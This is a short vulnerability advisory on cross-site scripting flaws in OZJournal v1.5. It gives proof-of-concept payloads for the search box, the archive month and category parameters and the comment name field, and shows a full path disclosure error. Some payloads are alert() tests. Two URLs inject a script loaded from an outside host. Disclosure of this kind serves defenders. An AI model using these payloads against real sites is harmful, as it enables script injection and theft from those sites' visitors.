OZJournal v1.5 - XSS

[luny () youfucktard com]

OZJournal v1.5

Homepage:
http://ozjournals.awardspace.com/index.php

Affected files:
search input box
index.php
viewing archives
show comment page
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XSS vulnerability via search input box:

Data isn't properly sanatized before being displayed. For a PoC in the search input box put: 
<script>alert('Hello')</script>. A full path disclosure error also will occur with this example due to functions.php.

Warning: preg_match(): Unknown modifier 'c' in /home/www/site/functions.php on line 570

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XSS vuln viewing archives by month via m variable.

PoC:

http://example.com/index.php?show=archives&y=2006&m=<script%20src=http://www.youfucktard.com/xss.js></script>

XSS vuln viewing archives by category via c variable:

http://example.com/index.php?show=archives&c=http://ozjournals.awardspace.com/index.php?show=archives&c=<script%20src=http://www.youfucktard.com/xss.js></script>
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XSS vuln after submitting a comment.

Data in the input name box isn't sanatized on the show post comments screen after submitting a comment. 

However, when displaying comments in the journal everything is properly sanatized and filtered. For a PoC 

in the name input box put: 

<script>alert('Hello')</script>